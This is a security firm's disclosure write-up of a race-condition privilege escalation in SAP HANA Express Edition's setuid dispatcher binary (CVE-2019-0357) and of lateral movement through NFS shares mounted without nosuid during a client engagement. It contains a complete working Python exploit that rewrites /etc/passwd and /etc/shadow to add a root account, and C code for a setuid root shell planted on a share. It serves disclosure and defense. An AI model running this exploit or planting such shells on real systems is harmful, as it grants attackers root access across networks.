* [5]Resources

* [1]About
* [2]Services
* [3]Blog
* [4]Team
* [5]Resources
* [6]Careers
* [7]Contact

A bug and a misconfigured file share: a tale in two parts

[books.jpeg]

A bug and a misconfigured file share: a tale in two parts

05 February 2020

Introduction

This is a story in two parts. First, sometime mid-2019 Anvil was asked
by one of its customers to come in and help out with evaluating the
security posture of their implementation of some SAP applications. To
prepare for the SAP-related client project Anvil performed some private
research in the run-up towards the engagement. This research resulted
in a medium-rated bug which, when exploited, escalated to
root-privileges. This bug was reported to SAP via the appropriate
channels. More on that below.

Second, when Anvil engineers went on-site at our customer to perform
the testing, it was found that the underlying NFS configuration was
insecure. This enabled Anvil to use the previously mentioned exploit to
gain root privileges and then execute lateral movement throughout all
the UNIX systems attached to said network shares. Privilege escalation
via misconfigured NFS shares has been known several decades and as such
most out-of-the-box NFS configurations will prevent this from being
possible. This was surprising but it lead to a full compromise of
dozens of attached UNIX nodes.

Part 1: dispatching to root

Given that most modern SAP systems are now running on HANA (SAP's in
memory SQL database offering) this seemed like a fruitful way to start
our research. In realistic deployments one will need a lot of physical
compute nodes or expensive virtual machines. However to encourage
adoption and experimentation SAP offers the HANA Express Edition as a
free [8]download on their website.

After downloading and booting the Virtual Machine we logged in. The
database runs on SuSe Linux. Several services were running by default
but we wanted to first focus on finding some local privilege
escalations. A quick search for setuid/setgid binaries on the system
helped us build a list of potential targets. Most of the binaries found
on the system are included by default on SuSe Linux (or most other
Linux distributions for that matter). That does not directly mean that
there will be no bugs in it but given the amount of attention this code
has received over the past decades we deemed it wise to focus on the
SAP specific binaries. One that list was made we found a utility called
hdbmdcdispatcher. This is the binary that we decided to focus on.

When looking at the binary the permissions were such that any user in
the group sapsys could execute it.

hxehost:hxeadm> ls -l /usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher
-r-sr-x--- 1 root sapsys 1.8M Jan 17 06:19 /usr/sap/HXE/HDB90/exe/mdc/hdbmdcdisp
atcher

Now it should be noted that in SAP parlance anyone who is in the sapsys
POSIX group already has close to root-like abilities on the SAP parts
of the system. However being able to potentially escalate to root would
enable the already highly-privileged attacker to disable other
monitoring software, backdoor the kernel or potentially escalate
differently through the network and SAP landscape more easily.

When executing the binary it looks for a file named
/var/lib/hdb/HXE/ipc/hdbmdcdispatcher. If it exists it will unlink the
file and then create a new UNIX socket there, bind and then listen to
it. After that it will change the ownership of the file as well as set
the permissions via chmod. A truncated output of running, as root,
ltrace on the binary will show something like the following:

..
stat("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher", {st_mode=S_IFREG|0777, st_size=161
3, ...}) = 0
unlink("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher") = 0
socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC, 0) = 3
bind(3, {sa_family=AF_LOCAL, sun_path="/var/lib/hdb/HXE/ipc/hdbmdcdispatcher"},
39) = 0
listen(3, 5) = 0
chown("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher", 1001, 79) = 0
chmod("/var/lib/hdb/HXE/ipc/hdbmdcdispatcher", 0600) = 0
..

The binary also takes an argument -m which allows one to specify the
permissions used in the chmod system call. This means if we specify -m
0777 we can have a world-readable/executable UNIX socket. That does not
do us that much good. However there is a race condition present. It can
be clearly seen. If between the listen() system call and the
chown/chmod calls an attacker manages to delete the file and setup a
symlink to a different file then the changing of the file permissions
will happen on the target of the symlink. Given that the binary runs as
setuid root we can try to exploit this race condition and change the
permission of a file a normal user in the sapsys group would not be
able to write to.

There are different ways of exploiting this. The exploit we wrote made
no attempt to be stealthy whatsoever. It's very noisy in fact. We
simply try changing the permissions for /etc/passwd as well as
/etc/shadow. This way we can add a new user named anvil with the
password anvil which allows us to switch to a root shell.

This looks something like the following:

hxehost:hxeadm> ls -l
-rw-r--r-- 1 root root 1.6K May 5 17:32 /etc/passwd
-rw------- 1 root root 885 May 5 17:32 /etc/shadow
hxehost:hxeadm> id
uid=1001(hxeadm) gid=79(sapsys) groups=79(sapsys),16(dialout),33(video),1000(hxe
shm)
hxehost:hxeadm> python exploit.py
Needed 1408 attempts to race and modify /etc/shadow
..
Needed 73 attempts to race and modify /etc/passwd
Now running `su - anvil` for you. Password is `anvil`
Password:
-bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
-bash-4.3# ls -lha /etc/passwd /etc/shadow
-rwxrwxrwx 1 hxeadm sapsys 1.6K May 5 17:42 /etc/passwd
-rwxrwxrwx 1 hxeadm sapsys 1003 May 5 17:42 /etc/shadow
-bash-4.3# exit

To show that this binary needs to run as root by design one can simply
remove the suid bit or use ltrace as a non-root user on it (as that
will drop privileges automatically) and then running the tool. This
will yield the following error message:

ERROR: hdbmdcdispatcher must be executed as root! 1001

The bug was found in, and the exploit tested against, the following SAP
HANA Express Edition:

hxehost:hxeadm> /hana/shared/HXE/HDB90/HDB version
HDB version info:
version: 2.00.036.00.1547699771
branch: fa/hana2sp03
machine config: linuxx86_64
git hash: 9042b32912d88ef65fdd04cb55a4cc0619c5be1e
git merge time: 2019-01-17 05:36:11
weekstone: 0000.00.0
cloud edition: 0000.00.00
compile date: 2019-01-17 06:16:43
compile host: ld4549
compile type: rel
hxehost:hxeadm>

The full exploit looks like this:

import os
import signal
import sys

ATTEMPTS = (100 * 1000)

bin2exec = "/usr/sap/HXE/HDB90/exe/mdc/hdbmdcdispatcher"
socketfn = "/var/lib/hdb/HXE/ipc/hdbmdcdispatcher"

passwd_entry = b"anvil:x:0:0:Anvil Ventures:/root:/bin/bash"

shadow_entry = b"anvil:$6$4x3OFPhx$OdAa..WfmrBGhRzEue9iig8." \
b"vDh8cu6vP2tmSPRsHkylgOYz9xitwqKM/Ql/28f6hO" \
b"09xkajSJGu3mA7gZL.C/:17950:0:::::"

def add_line_if_not_there(fn, line):
with open(fn, "r") as fd:
add = fd.read().find(line) == -1
if not add:
return
with open(fn, "a") as fd:
fd.write(line)
fd.write("\n")

def race_file(fn, line):
newpid = os.fork()
if newpid == 0:
# child
cmd = "%s -s HXE -m 0777" % bin2exec
os.system(cmd)
sys.exit(1)

ret = False
try:
os.unlink(socketfn)
os.symlink(fn, socketfn)
add_line_if_not_there(fn, line)
ret = True
except Exception:
pass
os.kill(newpid, signal.SIGKILL)
os.wait()
return ret

def race_file_attempts(fn, line, attempts):
for n in range(0, attempts):
if race_file(fn, line):
break
n += 1
print("Needed %i attempts to race and modify %s" % (n, fn))

def run(n):
race_file_attempts("/etc/shadow", shadow_entry, n)
race_file_attempts("/etc/passwd", passwd_entry, n)
print("Now running `su - anvil` for you. Password is `anvil`")
os.system("su - anvil")

if __name__ == "__main__":
run(ATTEMPTS)

We reported the bug to SAP and they released a patch and tracked it via
[9]CVE-2019-0357.

The disclosure timeline:
* The bug was reported to SAP on 2019-06-04 13:00 UTC.
* We received reply from SAP on 2019-06-06 07:43 UTC.
* We asked for status update on 2019-07-03 20:38 UTC.
* We received reply on 2019-07-04 11:50 UTC.
* Anvil client was informed about this vulnerability. They contacted
SAP to inquire about a status update.
* We received update on 2019-08-22 09:30 UTC that the privilege
escalation was being patched.
* We received pre-announcement of patch on 2019-09-09 11:20 UTC.
* More information can be found in [10]SAP Note 2829681.

The acknowledgment page can be found at the September, 2019 entry on
the [11]SAP wiki.

Part 2: Abusing the insecure NFS configuration

A bit of time after the finding and reporting of the bug, but with no
patch being publicly available yet, Anvil went on-site at the client to
help evaluate the security posture of their SAP landscapes. We focused
on insecure configuration, communication security as well as
generalized hardening of the SuSe Linux systems. Combined with some
other misconfiguration bugs we found a way to escalate to shell access
and ultimately be able to gain sapsys group access.

With some modifications to the original exploit we managed to gain root
access to some of the HANA instances. Such a classic race condition in
a suid binary one doesn't find that often anymore so it was nice to be
able to exploit it in the real-world too. When looking at the system it
was found that several file systems were mounted over NFS. These
filesystems contained all the SAP installation media as well as backups
and configuration data.

# mount | grep nfs
hostname:/sapcds on /sap/cds nfs4 (rw,relatime,vers=4.0,rsize=1048576,wsize=1048
576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=1.1.
1.1,local _lock=none,addr=2.2.2.2)
hostname:/sap/hana_backup on /hana/backup nfs4 (rw,relatime,vers=4.0,rsize=10485
76,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,cl
ientaddr=1.1.1.1,local _lock=none,addr=2.2.2.2)

The NFS mountpoints were not mounted with nosuid option. This was a big
red flag! On the NFS share there were several directories which were
world-readable and writeable. Given that we had already rooted one of
the HANA machines and that we could write to the NFS share we attempted
to create a simple shell binary. We wrote the following C code and
compiled it with gcc -o shell shell.c.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
setuid(0);
system("/bin/bash");
return 0;
}

After compiling it we copied it to a directory on the NFS share and
then set its permissions with chmod 4755 /sap/cds/shell. This succeeded
and we now had a setuid root shell on the NFS share. As we suspected a
lot of the other hosts using the network share used the same insecure
mount options. This meant that whenever we managed to get any type of
local UNIX user access on these machines we were able to execute
/sap/cds/shell and gain root access everywhere.

Given that these type of configuration bugs when using NFS have been
pretty well known for several decades it was surprising to us that we
were able to do this. In fact, for any modern NFS server
implementation, one needs to explicitly set no_root_squash to be able
to have any root user push files owned by root to the shares.

Having the installation media be set to be writable by anyone, of
course, led to us advising the customer to rebuild the NFS share from
scratch. Start from known safe installation media unless via file
hashes it could be proven that nothing was backdoor-ed or otherwise
meddled with. Given that anyone who had access to these systems for a
while in whatever way/shape/form could have used root access to
escalate this to root access on all kinds of other systems they were
not explicitly authorized to use this was a major undertaking.

Conclusion

Anvil found a bug in SAP HANA Express Edition. The resulting race
condition was exploited successfully to escalate from highly-privileged
sapsys group members to full-on root users. Due to the nature of the
actual deployment of NFS at the client we were able to use the exploit
and escalate as root throughout the entire UNIX system landscape that
used the same network file shares we were able to put the suid root
shell on.

This tale also shows that even when bugs are rated as simply a
medium-level bug security issues always get worse. The SAP HANA bug is
not critical as one already needs to have high privileges on the
machine. However if one would gain those somehow then gaining root on a
single machine does not gain that much more access. Simply because the
sapsys group user already can get access to most, if not all, the data
the HANA SQL database stores. Which is where the keys to the data
kingdom can be found in modern SAP landscapes.

The addition of the network shares and the misconfiguration of the NFS
servers led to lateral movement. Just one root access on one machine
enabled us to escalate laterally throughout all the UNIX machines. In
the engagement we found other ways of gaining low-privileged UNIX user
access (such as nobody) on these machines. And given that we already
owned one HANA machine and put the suid shell backdoor on the NFS share
this enabled us to escalate privileges on every machine that had this
network share mounted.

About the author

Vincent Berg is a Partner at Anvil Ventures. Prior to joining Anvil,
Berg worked as a Principal Consultant and a Director of Services at
IOActive Inc. Berg’s strong technical background combined with his
years of general consulting have been utilized to assist some of the
leading technologies and most advanced security groups in improving
their security posture. From finding operating system bugs in source
code to advising development groups on security development lifecycle
issues, Berg has dedicated his career to advancing security for highly
technical and complex systems. Early in his career, he was part of the
core R&D team at a Dutch startup working on developing highly
innovative programming-, deployment- and business application
platforms.
*

About Us

Anvil Ventures offers elite information security consulting services to
solve the problems currently facing the technology industry.

Due to its unique background and experience Anvil is also well
positioned to assess and assist with future challenges as the threat
landscape continues to evolve.

Anvil Ventures has a worldwide network of highly regarded information
security professionals who are ready to solve the technically
challenging issues facing your product, software development and
security teams within virtually any type of organization.

References

Visible links
1. https://anvilventures.com/index.html
2. https://anvilventures.com/services.html
3. https://anvilventures.com/blog/
4. https://anvilventures.com/team.html
5. https://anvilventures.com/resources.html
6. https://anvilventures.com/careers.html
7. https://anvilventures.com/contact.html
8. https://www.sap.com/cmp/td/sap-hana-express-edition.html
9. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0357
10. https://launchpad.support.sap.com/#/notes/2829681
11. https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=451071888

Hidden links:
13. https://anvilventures.com/blog/index.html
14. https://anvilventures.com/blog/strong-foundation.html
15. https://www.linkedin.com/in/vincent-berg/